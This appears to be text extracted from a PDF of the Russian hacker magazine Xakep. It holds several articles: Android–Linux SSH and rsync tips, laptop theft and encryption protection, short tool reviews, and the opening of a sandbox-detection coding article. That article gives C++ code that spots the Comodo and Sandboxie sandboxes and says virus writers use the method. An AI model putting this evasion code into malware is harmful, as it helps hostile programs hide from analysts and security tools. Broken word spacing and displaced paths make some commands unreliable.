assets/system‐2.0.tar.gz.mp3

system/bin system/
etc/terminfo

Выб ранные  ути литы и  каталог  terminfo скинь на  кар ту памяти смар тфо на.
Затем  под клю чись  к  нему  по  SSH  и  вве ди  сле дующие  коман ды,  что бы
получить воз можность модифи кации сис темно го катало га:

$ su
# mount ‐o remount,rw /system

Да лее ско пируй все нуж ные ути литы в   и уста нови на них бит
исполне ния (на при мере bash):

/system/xbin/

# cp bash /system/xbin/
# chmod 755 /system/xbin/bash

За тем соз дай файл  , помес ти в него сле дующие стро‐ 
ки:

/sdcard/ssh/.bashrc

export TERMINFO=/sdcard/terminfo
export TMPDIR=/data/local/tmp
export PS1="\u@\h:\w \$ "

От крой  нас трой ки  SimpleSSHD  на  смар тфо не  и  в  опции  Login  Shell  ука жи 
, оста нови и вновь запус ти сер вер. При сле дующем вхо де

по SSH откро ется bash и будут дос тупны ско пиро ван ные тобой ути литы.

/
system/xbin/bash

Что бы  добить ся  кор рек тной  работы  Vim  и mc,  ско пируй  на  кар ту  памяти
так же  катало ги    и  ,  а  в  файл    добавь
стро ки:

etc/mc etc/vim /sdcard/ssh/.bashrc

export MC_DATADIR=/sdcard/mc
export VIMRUNTIME=/sdcard/vim

Midnight commander, запущен ный в Android

RSYNC
SSH‐сер вер  дает  нам  воз можность  исполь зовать  ,  мощ ную  ути литу
для син хро низа ции и бэкапа фай лов. Rsync поз воля ет осу щест влять быс трую
дву нап равлен ную  син хро низа цию  фай лов  меж ду  дву мя  машина ми  (или
машиной и смар тфо ном,  как  в нашем слу чае)  с  выкачи вани ем  толь ко новых
и  изме нен ных фай лов  и  воз можностью  возоб новле ния  прер ванной  син хро‐ 
низа ции.

rsync

Прос тей ший при мер исполь зования rsync в связ ке со смар тфо ном:

$ rsync ‐‐update ‐‐progress ‐e 'ssh ‐p 2222' ‐azv 192.168.31.236:/
sdcard/DCIM/Camera ~/Photos

Эта  коман да  ско пиру ет  все фотог рафии  со  смар тфо на  в  каталог  ,
про пус тив  те,  что  уже  есть  в  катало ге.  Связ ка  опций    в  дан ном  слу чае
озна чает, что каталог необ ходимо передать как есть со все ми его под катало‐ 
гами и пра вами дос тупа (флаг  ) плюс исполь зовать сжа тие (флаг  ).

~/Photos
‐azv

‐a ‐z
Об ратная коман да — копиро вание дан ных с машины на смар тфон:

$ rsync ‐‐delete ‐‐progress ‐e 'ssh ‐p 2222' ‐azv ~/Books 192.168.31.
236:/sdcard/Books

Здесь мы исполь зовали флаг  , что бы уда лить фай лы, которые были
уда лены из локаль ного катало га  .

‐‐delete
~/Books

По  умол чанию  при  обры ве  соеди нения  rsync  будет  уда лять  час тично
передан ные фай лы. Что бы это го избе жать, мож но исполь зовать флаг 

,  который зас тавит  rsync сох ранять недока чан ные фай лы и возоб новить
их заг рузку при сле дующем запус ке коман ды.

‐‐par‐
tial

SSHBUTTON
Ок,  к  смар тфо ну  мы  под клю чились,  фай лы  син хро низи рова ли,  но  что,  если
нам нуж но обратное SSH‐под клю чение от смар тфо на к ком пу? В этом слу чае
подой дет  любой  из  десят ков SSH‐кли ентов  для  Android  (тот  же  ,
нап ример), если, конеч но, ты готов вво дить коман ды на сен сорной кла виату‐ 
ре малень кого экра на.

ConnectBot

Ес ли не готов, твой выбор — при ложе ние  , поз воля ющее запус‐ 
кать нуж ную коман ду на нуж ной машине по нажатию кноп ки. Интерфейс у SSH
button страш ный, но при ложе ние отлично работа ет. Прос то запус ти SSH but‐
ton, далее Меню → Add... и вве ди нуж ную коман ду, адрес SSH‐сер вера, логин
и пароль.

SSH button

SSH  button  удоб но  исполь зовать  для  вык лючения  или  усып ления  ком па
(коман ды   и  ),  запус ка и оста нов ки  тор рентов,  кон‐ 
тро лиро вания  музыки  (нап ример,  пле ер  mocp,  о  котором  я  рас ска зывал
в  одной  из  прош лых  ста тей,  поз воля ет  управлять  собой  через  коман дную
стро ку).

systemctl suspend halt

SSH button

ВЫВОДЫ
Ис поль зовать  Android  в  связ ке  с  Linux  дей стви тель но  удоб но.  В  отли чие
от Windows здесь не нуж ны допол нитель ные драй веры, спе циаль ные сер веры
и про чие стран ные вещи. В боль шинс тве слу чаев мож но обой тись стан дар‐ 
тны ми для мира Linux SSH и rsync, но в Сети всег да мож но най ти более инте‐ 
рес ные инс тру мен ты.

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=com.ttxapps.wifiadb
https://github.com/google/adb-sync
https://github.com/spion/adbfs-rootless
https://github.com/hanwen/go-mtpfs
https://play.google.com/store/apps/details?id=org.galexander.sshd
https://play.google.com/store/apps/details?id=me.timos.busyboxonrails
https://xakep.ru/2017/06/27/old-android-server/
https://apkpure.com/terminal-ide/com.spartacusrex.spartacuside
http://rsync.samba.org/
https://play.google.com/store/apps/details?id=org.connectbot
https://play.google.com/store/apps/details?id=com.pd7l.sshbutton
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ТРЮКИ

Уве рен, мно гие читате ли ][ уже дав но изба‐ 
вились  от  ста ционар ных  ком пов  и  исполь‐ 
зуют  ноут бук  как  основной  инс тру мент
для работы, уче бы и все го осталь ного. Мир
сдви нул ся  с  мес та  и  стал  мобиль ным.
Но  там,  где  есть  мобиль ная  тех ника,  есть
и риск ее потерять,  забыть или быть обок‐ 
раден ным.  Как  при  этом  не  лишить ся  дан‐ 
ных, убе речь их от пос торон них глаз и отыс‐ 
кать‐таки  укра ден ную  тех нику?  Поп робу ем
разоб рать ся.

ФИЗИЧЕСКИЙ ДОСТУП
Нач нем, как обыч но, с азов, а имен но с пароля на вход. Казалось бы, здесь
все прос то: любая гра фичес кая сре да име ет встро енный бло киров щик экра‐ 
на, который тре бует ввес ти пароль пос ле нес коль ких минут прос тоя машины.
Но что делать, если  ты не исполь зуешь  гра фичес кую сре ду и  твой выбор —
лег ковес ный окон ный менед жер вро де Fluxbox или i3?

Су щес тву ет мас са самых раз нооб разных бло киров щиков экра на, но я бы
рекомен довал  оста новить ся  на  slock.  Это  край не  прос той  бло киров щик,
не  име ющий  никаких  гра фичес ких  эле мен тов  управле ния,  окон  вво да
и перек лючате лей сес сий. Все, что он дела ет, — это залива ет экран чер ным
цве том. При вво де пароля экран ста новит ся синим, а при нажатии Enter в слу‐ 
чае  неп равиль ного  пароля —  крас ным.  Уви дев  такое,  боль шинс тво  «взлом‐ 
щиков» впа дут в сту пор и решат, что комп прос то завис.

За пус кать  slock  мож но  как  нап рямую  (тог да  экран  заб локиру ется  сра зу),
так  и  авто мати чес ки  пос ле  про буж дения  ноут бука.  Во  вто ром  слу чае  тебе
понадо бит ся systemd‐юнит сле дующе го содер жания:

[Unit]
Description=Lock X session using slock for user %i
Before=sleep.target
[Service]
User=%i
Environment=DISPLAY=:0
ExecStartPre=/usr/bin/xset dpms force suspend
ExecStart=/usr/bin/slock
[Install]
WantedBy=sleep.target

Сох рани  его  в  файл    и  акти вируй
юнит (USER — твое имя в сис теме):

/etc/systemd/system/slock@.service

$ sudo systemctl enable slock@USER.service

Еще одна край не прос тая, но отто го не менее цен ная рекомен дация — пос‐ 
тавь пароль на BIOS и отклю чи заг рузку с любых носите лей, кро ме жес тко го
дис ка. Это убе режет тебя от тех, кто попыта ется заг рузить ся с флеш ки, что бы
про читать твой диск из дру гой опе раци онной сис темы.

Мно гие ноут буки так же поз воля ют уста новить пароль на заг рузку, перезаг‐ 
рузку и дос туп к жес тко му дис ку. Пос ледний работа ет на уров не ATA‐кон трол‐ 
лера,  он  спа сет,  если  кто‐то  все‐таки  смо жет  заг рузить  свою  опе раци онку,
но будет бес полезен про тив физичес кого извле чения жес тко го дис ка.

ШИФРОВАНИЕ ДИСКА
Поч ти  все  популяр ные  дис три бути вы  поз воля ют  зашиф ровать  жес ткий  диск
на эта пе уста нов ки опе раци онной сис темы. Такое шиф рование дела ет извле‐ 
чение дан ных с дис ка поч ти невоз можной задачей (при дос таточ но длин ном
пароле), но име ет один сущес твен ный недос таток: падение про изво дитель‐ 
нос ти опе раций вво да‐вывода, которое может дос тигать сотен и тысяч про‐ 
цен тов.

Ми ними зиро вать  про седа ние  про изво дитель нос ти  мож но,  если  зашиф‐ 
ровать  толь ко  раз дел    (на  котором  и  находят ся  твои  дан ные),  а  саму
сис тему  оста вить  незашиф рован ной.  По  фак ту  мно гие  дис три бути вы  пред‐ 
лага ют  такой  вари ант  по  умол чанию,  но  он  тоже  не  иде ален:  ноут бук  будет
жрать допол нитель ные ресур сы прос то при прос мотре сох ранен ного на диск
филь ма, а если  ты занима ешь ся раз работ кой ПО или прос то час то собира‐ 
ешь софт из исходни ков — готовь ся к сущес твен ному замед лению.

/home

Но  и  из  этой  ситу ации  есть  выход.  Сис темы    и    исполь зуют
механизм  FUSE,  что бы  соз дать  зашиф рован ную  вир туаль ную  ФС  поверх
основной.  С  их  помощью  ты  можешь  зашиф ровать  любой  отдель но  взя тый
каталог, без необ ходимос ти выделять спе циаль ный кон тей нер заранее опре‐ 
делен ного  раз мера  и  с  воз можностью  син хро низа ции  катало га  с  Dropbox
и дру гими подоб ными сер висами.

EncFS CryFS

Обе  фай ловые  сис темы  исполь зуют  алго ритм  AES‐256  в  режиме  GCM,
но  отли чают ся  в  реали зации.  EncFS шиф рует  каж дый  файл  по  отдель нос ти
и поэто му скры вает лишь содер жимое фай лов и их наз вания, но никак не пре‐ 
пятс тву ет получе нию информа ции о струк туре  катало гов и раз мере фай лов.
Дру гими сло вами: если кому‐то пот ребу ется доказать, что ты хра нишь архив
дет ско го пор но, ска чан ный из дар кне та, — он смо жет это сде лать.

CryFS  защища ет  от  подоб ных  рис ков.  Зашиф рован ный  с  ее  помощью
каталог  выг лядит  как плос кое фай ловое дерево с  кучей  катало гов и фай лов
оди нако вого раз мера. Одна ко CryFS никог да не под верга лась незави симо му
ауди ту, который был про изве ден в отно шении EncFS. Если тебя это оста нав‐ 
лива ет  —  исполь зуй  EncFS,  если  же  ты  не  веришь  ни  тому,  ни  дру гому —
можешь  воору жить ся  VeraCrypt  или  дру гим  «клас сичес ким»  инс тру мен том
шиф рования, исполь зующим кон тей нер заранее задан ного раз мера, который
нель зя выложить в Dropbox без син хро низа ции всех зашиф рован ных дан ных
при малей шем изме нении.

Ис поль зовать EncFS и CryFS край не прос то. Дос таточ но уста новить пакет,
а затем выпол нить опе рацию мон тирова ния:

$ cryfs ~/Dropbox/box ~/crypto

В  дан ном  слу чае  мы  под клю чаем  зашиф рован ный  каталог 
как  .  Все  фай лы,  записан ные  в  пос ледний,  появят ся  в  пер вом
в зашиф рован ном виде.

~/Dropbox/box
~/crypto

В этот каталог мож но сло жить все цен ные дан ные: ска ны пас порта, клю чи
GPG, рабочие катало ги крип токошель ков, базы паролей и так далее. Под клю‐ 
чать  его  при дет ся  вруч ную  пос ле  каж дой  заг рузки,  а  пос ле  исполь зования
луч ше сра зу отклю чать:

$ fusermount ‐u ~/crypto

Со дер жимое катало га, зашиф рован ного с помощью CryFS

АУТЕНТИФИКАЦИЯ БЕЗ ПАРОЛЯ
Итак,  диск  защищен,  пароль  уста нов лен,  но  удоб но  ли  это?  Ввес ти  пароль
при заг рузке, которая в сов ремен ных ноут буках про исхо дит не так уж и час то,
нет рудно, ввес ти пароль для рас шифров ки дан ных при заг рузке тоже, но вво‐ 
дить  его  каж дый  раз  при  раз бло киров ке  экра на  не  осо бо  инте рес но.  Тем
более  пароль  могут  под смот реть  твои  соседи  в  самоле те.  Нужен  дру гой
метод, а еще луч ше ком бинация методов.

Флеш ка
Ду маю, все слы шали про шту ку под наз вани ем  . Это USB‐ключ,  выс‐ 
тупа ющий в роли вто рого фак тора при аутен тифика ции на сай тах и в сис теме.
Сто ит такой ключ 50 дол ларов, но на самом деле вмес то него мож но исполь‐ 
зовать обыч ную флеш ку.

YubiKey

Мо дуль   поз воля ет нас тро ить аутен тифика цию с помощью любой
USB‐флеш ки.  Прин цип  работы  здесь  сле дующий:  ути лита  записы вает
на флеш ку 2 Кбайт слу чай ных дан ных, которые выс тупа ют в роли уни каль ного
клю ча. Во вре мя аутен тифика ции pam_usb про чита ет блок дан ных с флеш ки,
срав нит их с сох ранен ными в  ком пе и пус тит  тебя в сис тему, если они сов‐ 
пада ют.

pam_usb

Что бы все это зарабо тало, необ ходимо выпол нить сле дующие шаги. Уста‐ 
новить pam_usb:

$ git clone https://github.com/aluzzardi/pam_usb.git
$ cd pam_usb
$ make
$ sudo make install

В Arch Linux pam_usb дос тупен в AUR:

$ yaourt ‐S pam_usb

До бавить  те  самые  слу чай ные  дан ные  на  флеш ку  (здесь  AuthKey  —  про‐ 
изволь ное имя):

$ sudo pamusb‐conf ‐‐add‐device AuthKey

Ука зать поль зовате ля, который будет про ходить аутен тифика цию с помощью
флеш ки:

$ sudo pamusb‐conf ‐‐add‐user username

Про верить, что все нас тро ено так, как надо:

$ sudo pamusb‐check username

На конец,  добавить  pam_usb  в  спи сок  PAM‐модулей.  Для  это го  откры ваем
файл    (или    в  Arch  Linux
и Fedora) и добав ляем в начало фай ла такую стро ку:

/etc/pam.d/common‐auth /etc/pam.d/system‐auth

auth sufficient pam_usb.so

В  этом  слу чае  флеш ки  будет  дос таточ но  для  аутен тифика ции.  Если  же  ты
хочешь получить двух фактор ную аутен тифика цию, ког да тре бует ся и флеш ка,
и пароль, изме ни строч ку на такую:

auth required pam_usb.so

Имей в виду, что автор pam_usb не позици они рует свою раз работ ку как неч‐ 
то,  чему  мож но  доверить  защиту  государс твен ной  тай ны  и  уж  тем  более
семей ного рецеп та луково го супа. С флеш ки мож но снять дамп, записать его
на дру гую флеш ку и исполь зовать ее для аутен тифика ции.

Нас тра иваем pam_usb

Смар тфон
Вмес то флеш ки (или в допол нение к ней) мож но взять смар тфон. Уве рен, что
хотя бы раз в жиз ни ты поль зовал ся при ложе нием Google Authenticator. Оно
реали зует  алго ритм  TOTP  (Time‐based  One‐Time  Password,  RFC  6238),  поз‐ 
воля ющий выпол нять аутен тифика цию в одном при ложе нии с помощью одно‐ 
разо вого  пароля,  сге нери рован ного  дру гим  при ложе нием  (о  том,  как  это
работа ет, хорошо написа но  ).здесь

Google  поз воля ет  прис пособить  Authenticator  в  том  чис ле  для  аутен‐ 
тифика ции  в  сво их  сер висах.  Одна ко  в  реаль нос ти  оно  никак  не  завяза но
на Google и не исполь зует его сер веры (переда ча клю ча, нуж ного для генера‐ 
ции одно разо вых паролей, про исхо дит нап рямую, с помощью QR‐кода, пос ле
чего при ложе ние дей ству ет незави симо), что поз воля ет нам поль зовать ся им
для аутен тифика ции в сис теме без стра ха уте чек паролей.

Для это го необ ходимо уста новить PAM‐модуль  :pam‐google‐authenticator

$ ./bootstrap.sh
$ ./configure
$ make
$ sudo make install

В Arch Linux уста нов ка дела ется так:

$ yaourt ‐S google‐authenticator‐libpam‐git

Да лее запус каем при ложе ние google‐authenticator:

$ google‐authenticator

Оно сге нери рует QR‐код (или покажет ссыл ку на него), который необ ходимо
отска ниро вать  с  помощью  при ложе ния  Google  Authenticator  на  смар тфо не,
а так же задаст нес коль ко воп росов. На все воп росы, кро ме чет верто го (уве‐ 
личе ние  вре мен ного  рас хожде ния  меж ду  кли ентом  и  сер вером),  отве чай
отри цатель но.

Да лее, как и в слу чае с флеш кой, добав ляем в 
сле дующую стро ку:

/etc/pam.d/common‐auth

auth required pam_google_authenticator.so no_increment_hotp

Од норазо вые пароли мож но без проб лем ком биниро вать с необ ходимостью
вста вить  флеш ку  в  раз ных  вари ациях.  Для  это го  прос то  выс тави  вто рую
опцию в нуж ное зна чение.

QR‐код pam‐google‐authenticator

ПРОТИВОУГОНКА
С помощью паролей, одно разо вых кодов и шиф рования мы можем защитить
лишь информа цию на ноут буке. Что бы защитить сам ноут бук, нуж ны сов сем
дру гие средс тва, а имен но некая сис тема отсле жива ния, подоб ная фун кции
Find my iPhone. То есть сис тема, которая поз волила бы нам уда лен но свя зать‐ 
ся с ноут буком, опре делить его коор динаты, сде лать сни мок экра на и сни мок
фрон таль ной камерой.

Од но  из  луч ших  решений  в  этой  сфе ре  называ ется  .  Он  дос тупен
для  телефо нов  и  ком пов  на  базе  Windows,  macOS  и  Linux.  Нас  инте ресу ет
пос ледний  вари ант,  поэто му  идем  на  ,  кача ем  deb‐пакет
и уста нав лива ем его:

Prey

стра ницу  заг рузок

$ sudo dpkg ‐i prey_1.7.3_amd64.deb

В Arch Linux Prey есть в AUR:

$ yaourt ‐S prey‐node‐client

Толь ко  сле дует  иметь  в  виду,  что  уста новит ся  в  сис тему  он  под  име нем
.prey_project

Ког да уста нов ка будет завер шена, запус каем кон фигура тор:

$ sudo prey config account setup

Он спро сит тебя о email‐адре се, поп росит ввес ти пароль, и на этом уста нов‐ 
ка  будет  завер шена.  Что бы  про верить,  что  все  работа ет,  перехо дим
в    и  нас лажда емся  воз можностью  отсле живать
устрой ство в режиме реаль ного вре мени.

веб‐панель  управле ния

Бес плат ная  вер сия  Prey  поз воля ет  узнать  мес тополо жение  устрой ства,
информа цию  об  ОС  и  железе,  вклю чить  сиг нализа цию,  заб локиро вать
устрой ство,  сде лать  сним ки  камерой  или  скрин шоты.  Что бы  получить  воз‐ 
можность уда лять дан ные и ска чивать фай лы, при дет ся пла тить пять дол ларов
в месяц.

Так же  имей  в  виду,  что  в  отли чие  от  смар тфо нов,  которые  по  дефол ту
всег да  под клю чены  к  мобиль ной  сети  и  таким  обра зом  всег да  дос тупны
онлайн, ноут бук чаще находит ся в офлай не и обыч но под клю чает ся к откры‐ 
тым Wi‐Fi‐сетям  толь ко  пос ле  раз решения  поль зовате ля.  Дру гими  сло вами,
шан сы най ти ноут бук куда мень ше, чем шан сы най ти телефон.

Ин фа о ноут буке в панели управле ния Prey

ФОТКА ПРИ ВЫХОДЕ ИЗ СНА
Еще один метод борь бы с неп рошены ми гос тями — фот кать их. Допус тим, ты
оста вил ноут бук в номере, заходит нез накомый человек, про буж дает ноут бук
ото  сна  и  пыта ется  залоги нить ся  (точ нее,  пыта ется  понять,  что  про исхо дит,
ведь мы исполь зуем slock). Самое вре мя его сфо тог рафиро вать.

Для  начала  напишем  скрипт,  который  будет  делать  фот ку  с  помощью
камеры ноут бука. Он будет край не прос тым:

#!/bin/sh
ffmpeg ‐y ‐t 1 ‐f video4linux2 ‐s 640x480 ‐r 30 ‐i /dev/video0 ‐f 
image2 $HOME/webcam.png 

На зови его  , положи в каталог   и дай пра ва на исполне ние:take_photo ~/bin

$ chmod +x ~/bin/take_photo

Те перь нам надо написать скрипт, который будет запус кать наш скрипт пос ле
про буж дения ком па. Вот он:

#!/bin/sh
if [ $1 = post ] && [ $2 = suspend ]; then
   sudo ‐u ТВОЕ_ИМЯ_В_СИСТЕМЕ /home/ТВОЕ_ИМЯ_В_СИСТЕМЕ/bin/take_p
hoto
fi

На зови  его  ,  положи  в  каталог 
и точ но так же дай пра ва на исполне ние:

00take_photo /lib/systemd/system‐sleep/

$ chmod +x /lib/systemd/system‐sleep/00take_photo

Те перь при каж дом про буж дении ноут бук будет делать фото и сох ранять его
в  файл  .  Но  мы  можем  пой ти  еще  даль ше  и  отпра вить  фото
себе в телег рам. Для это го уста нав лива ем  . Про ще все го это сде‐ 
лать в Arch Linux:

~/webcam.png
telegram‐cli

$ yaourt ‐S telegram‐cli‐git

За пус каем  ути литу  коман дой  ,  она  зап росит  номер  телефо на
(phone number:) в фор мате +71234567890, а затем код безопас ности из СМС
и пароль, если он исполь зует ся.

telegram‐cli

За тем нем ного поп равим наш скрипт  :~/bin/take_photo

#!/bin/bash
ffmpeg ‐y ‐t 1 ‐f video4linux2 ‐s 640x480 ‐r 30 ‐i /dev/video0 ‐f 
image2 $HOME/webcam‐`date`.png 
sleep 60
telegram‐cli ‐W ‐D ‐e "send_photo @ТВОЕ_ИМЯ_В_ТЕЛЕГРАМЕ $HOME/webcam.
png `date`"

Те перь он  не  толь ко будет  делать фото,  но и отпра вит  его  в  наш  телег рам.
Коман да    нуж на  для  минут ной  задер жки  перед  отправ кой,  что бы
ноут бук успел под клю чить ся к Wi‐Fi.

sleep  60

ВЫВОДЫ
За щитить  ноут бук  не  так  прос то,  как  смар тфо ны,  которые  исполь зуют  пол‐ 
нодис ковое  шиф рование  с  уско рени ем  с  помощью  TEE‐модуля,  защиту
по  отпе чат ку  паль ца  и  име ют  воз можность  отсле жива ния  по  всем  типам
сетей. Но, при менив нехит рые при емы, опи сан ные в статье, ты хотя бы смо‐ 
жешь ска зать, что сде лал все воз можное.
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ТРЮКИ

FISH SHELL — ЗАМЕНА ДЛЯ BASH С УПОРОМ НА КОМФОРТ
И ЮЗАБИЛИТИ1 Все  дав но  свык лись  с  тем,  что  коман дная  стро ка  не  менялась
с  семиде сятых‐вось мидеся тых  годов,  и  понима ют,  что  луч ше  уже
вряд ли ста нет. Одна ко попыт ки изме нить ситу ацию всё же нет‐нет
да пред при нима ются. Раз работ чик шел ла под наз вани ем   решил
вытянуть UX коман дной стро ки хотя бы еще на десять лет в будущее.
Сло ган на глав ной стра нице про екта иро нич но гла сит: «Наконец‐то
шелл, дос той ный девянос тых годов!»

fish

Сайт fish

Сре ди  основных  дос тоинств  fish  перечис ляют ся:  цве та  VGA,  авто‐ 
допол нение,  удоб ные нас трой ки  «из  короб ки»,  вме няемая сис тема
скрип тования,  под сказ ки  для  парамет ров  команд  и  нас трой ка
из бра узе ра.

При  работе  самое  замет ное  отли чие  от  bash  —  это,  конеч но,
авто допол нение:  допол няют ся  как  пути,  так  и  наз вания  команд
и даже парамет ры  к  ним. Нап ример,  если  написать    и  нажать
Tab,  то  fish  покажет  пол ный  спи сок  парамет ров  с  пояс нени ями,
вытяну тыми из стра ницы man.

ls ‐

При  этом  fish  неп рерыв но  ищет  по  исто рии  и  пред лага ет  уже  вво‐ 
див шиеся коман ды в качес тве под ска зок, а так же на лету про веря ет
син таксис.

Воз можно, ты успел нем ного уди вить ся, ког да про читал про нас‐ 
трой ки  через  бра узер.  Это  решение  дей стви тель но  выг лядит  нем‐ 
ного необыч ным для мира Unix, но тем не менее если ты напишешь

, то на пор те 8000 под нимет ся веб‐сер вер с нас трой‐ 
ками и откро ется окно бра узе ра.
fish_config

В общем, даже если ты уже   со все ми удобс тва ми,
все  рав но  есть  смысл  пос мотреть  на  fish  поб лиже.  Не  забудь  заг‐ 
лянуть  в  ,  а  если  пой дешь  даль ше  и  нач нешь  писать
скрип ты на fish, то пос мотри еще  .

нас тро ил себе zsh

до кумен тацию
вот этот cookbook

FRONT-END CHECKLIST — СПИСОК ВСЕГО, ЧТО НУЖНО
СДЕЛАТЬ ПЕРЕД ЗАПУСКОМ САЙТА2 Ес ли  попытать ся  записать  всё,  что  нуж но  добавить,  под клю чить
и про кон тро лиро вать перед тем, как откры вать сайт, то вый дет вну‐ 
шитель ный  спи сок.  Имен но  его  сос тавле нием  и  занял ся  куратор
докумен та  под  наз вани ем    и  опуб ликовал  свою
под борку на Github во имя все обще го бла га.

Front‐End  Checklist

Спи сок  поделен  на  раз делы:  всё,  что  идет  в  тег  Head  (теги  meta,
фавай кон и им подоб ные), луч шие прак тики HTML, нас трой ка шриф‐ 
тов,  CSS,  опти миза ция  кар тинок,  JavaScript,  безопас ность,  тес‐ 
тирова ние про изво дитель нос ти, дос тупность и SEO.

Боль шинс тво  пун ктов  снаб жено  ссыл ками  на  полез ные  ресур сы
и ярлычком по сте пени при ори тета  (low, medium, high),  что бы было
понят но,  за  что  брать ся  в  пер вую  оче редь.  Спи сок  переве ден
на мно гие язы ки, вклю чая   (спа сибо Миха илу Исто мину!).рус ский

И заод но пореко мен дую дру гую ссыл ку на тему веб‐дизай на. 
 — это сайт с под боркой полез ных трю ков, которые

мож но  сде лать  при  помощи  CSS.  Каж дый  —  с  работа ющим  при‐ 
мером и необ ходимы ми под робнос тями.

30
Seconds of CSS

QB64 — НАСЛЕДНИК QUICKBASIC, КОТОРЫЙ ПОЧТИ НЕ
ВЫГЛЯДИТ УСТАРЕВШИМ3 Ес ли  ты  успел  про вес ти  дос таточ но  вре мени  за  синим  экра ном,
на  котором  заг лавны ми  бук вами  воз водились  зик кураты  из  цик лов
FOR..NEXT,  зна чит,  тебе  будет  при ятно  (или  как  минимум  забав но)
услы шать о том, что леген дарный QuickBASIC жив по сей день.

Пос ледняя,  седь мая  вер сия  нас тояще го  QuickBASIC  выш ла
в  1990  году.  Через  год Microsoft  помашет  ему  руч кой  и  зарели зит
куда менее дру желюб ный Visual Basic,  который со вре менем прев‐ 
ратит ся в VB.Net, ушед ший от сво их кор ней сов сем уж далеко. QBa‐
sic —  уре зан ная  вер сия  QuickBASIC  без  ком пилято ра —  при лага‐ 
лась к MS‐DOS еще какое‐то вре мя, но где теперь тот MS‐DOS?

В 2007 году бро шен ный «Мик рософ том» флаг подоб рали энту зиас‐ 
ты  и  соз дали  .  В  этом  про екте  реали зова но  всё,  о  чем  мы
не  мог ли  и  помыс лить  в  девянос тые  годы.  Под дер жка  любых  раз‐ 
решений  экра на,  биб лиоте ки  для  работы  с  кар тинка ми  в  PNG
и музыкой в MP3, век торные шриф ты со сгла жива нием, трех мерная
гра фика,  под дер жка  сети… И,  что  немало важ но,  воз можность рас‐ 
тянуть окно с редак тором при работе в гра фичес ком режиме.

QB64

При  этом  QB64  не  уте рял  обратной  сов мести мос ти  со  сво им
пред ком  и  спо кой но  ком пилиру ет  ста рые  прог раммы:  тех  же
«Горилл»,  змей ку  и  любой  ста рый  код,  который  ты  успел  спас ти
с  трех дюй мовых дис кет. Я не забыл ска зать,  что, помимо Windows,
QB64  работа ет  в  Linux  и  macOS?  Нужен  толь ко  неболь шой 

.
фикс

для инстал лятора

Так я и знал: под дер жку OpenGL в бей сик добави ли какие‐то
сек тоиды

И  если  ста рина  QuickBASIC  про изво дил  прог раммы,  которые  еле
работа ли на тог дашних «треш ках» и «чет верках», то QB64 бла года ря
clang генери рует впол не шус трый код. В 2013 году кто‐то даже хотел
сде лать    на  QB64  и  опуб ликовать  ее  в  «Сти ме»,
но по про шес твии пяти лет работы так и не завер шены.

пол ноцен ную  игру

По хоже,  бей сик  неп лохо  эво люци они ровал,  но  сде лать  на  нем
что‐то при лич ное по‐преж нему неп росто.

mailto:apismenny@gmail.com
https://fishshell.com/
https://xakep.ru/2017/05/18/cli-console-tips/
https://fishshell.com/docs/current/index.html
https://github.com/jorgebucaran/fish-shell-cookbook
https://github.com/thedaviddias/Front-End-Checklist
https://github.com/ungear/Front-End-Checklist
https://atomiks.github.io/30-seconds-of-css/
http://www.qb64.net/
https://raw.githubusercontent.com/Galleondragon/qb64/master/README%20for%20Linux%20and%20OS%20X.txt
http://store.steampowered.com/app/248590/Black_Annex/
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КОДИНГ

Ме тоды  детек тирова ния  сен дбок сов  так  же  вос тре бова ны
у  раз работ чиков  защит,  как  и  методы  анти отладки:  если
прог рамма  работа ет  в  изо лиро ван ной  сре де,  это  может
озна чать,  что  ее  поведе ние  хотят  иссле довать  ревер серы
или вирус ные ана лити ки, либо это озна чает, что наша прог‐ 
рамма  изо лиро вана  защит ными  средс тва ми  решений  inter‐
net  security.  Так  или  ина че,  опре деле ние  фак та  изо ляции
прог раммы  —  полез ный  навык,  который  помога ет  и  раз‐ 
работ чикам защит, и вир мей керам. В этой статье я покажу,
как  рас позна вать  sandbox‐изо ляцию  и  запуск  под  гипер‐ 
визора ми раз ных типов.

INFO

Sandbox  (песоч ница)  —  изо лиро ван ная  прог рам‐ 
мная сре да, в которой зада ется и кон тро лиру ется
набор ресур сов для запущен ной внут ри нее прог‐ 
раммы. Как пра вило, огра ничи вают ся и филь тру‐ 
ются вызовы WinAPI, которые отве чают за дос туп
к  обо рудо ванию,  про цес сорным  ядрам,  опре‐ 
деле ние  раз мера  памяти,  а  так же  дос туп  к  сети
и  при виле гиро ван ным  средс твам  опе раци онной
сис темы.  Сен дбок синг  час то  исполь зует ся
для  запус ка  небезо пас ного  кода  и  для  ана лиза
прог рамм.

ПРОВЕРЯЕМ ЗАПУЩЕННЫЕ ПРОЦЕССЫ
Ес ли  виды  песоч ниц  нам  приб лизитель но  извес тны,  то  это  облегчит  детек‐ 
тирова ние. Мож но прос то поис кать сен дбок сы в спис ке выпол няющих ся про‐ 
цес сов.  Для  это го  исполь зуем  фун кцию,  которая  перечис лит  все  про цес сы
и опре делит PID нуж ного по наз ванию.

DWORD getPIDproc(char * pProcName)
{
   HANDLE pHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   if(pHandle == NULL) return 0;
   PROCESSENTRY32 ProcessEntry;
   DWORD pid;
   ProcessEntry.dwSize = sizeof(ProcessEntry);
   bool Loop = Process32First(pHandle, &ProcessEntry);
   if(Loop == NULL) return 0;
   while (Loop)
   {
       if (strstr(ProcessEntry.szExeFile, pProcName))
       {
       pid = ProcessEntry.th32ProcessID;
           CloseHandle(pHandle);
           return pid;
       }
       Loop = Process32Next(pHandle, &ProcessEntry);
   }
   return 0;
}

Де тект песоч ницы Comodo Internet Security:

if(getPIDproc("cmdvirth.exe")) std::cout << "Comodo sandbox detected!
\n";

Про цесс   обес печива ет  вир туали зацию в Comodo  Internet Se‐
curity. По тому же прин ципу мож но задетек тить песоч ницу Sandboxie:

cmdvirth.exe

if(getPIDproc("SbieSvc.exe")) std::cout << "Sandboxie detected!\n";

Я  думаю,  что  прин цип  понятен.  :‐)  Если  про цесс  не  будет  най ден,  фун кция
вер нет  0,  и  усло вие    не  будет  выпол нено.  Так же  фун кция  вер нет  0,  если
воз никнут проб лемы с получе нием пер вого про цес са в сис темном снап шоте
фун кци ей    либо  с  получе нием  самого  снап шота  фун кци ей

.

if

Process32First
CreateToolhelp32Snapshot

ПРОВЕРЯЕМ ПОДКЛЮЧЕННЫЕ МОДУЛИ В НАШЕМ АДРЕСНОМ
ПРОСТРАНСТВЕ
Дру гая  инте рес ная  идея —  прос мотреть  под клю чен ные модули  в  адресном
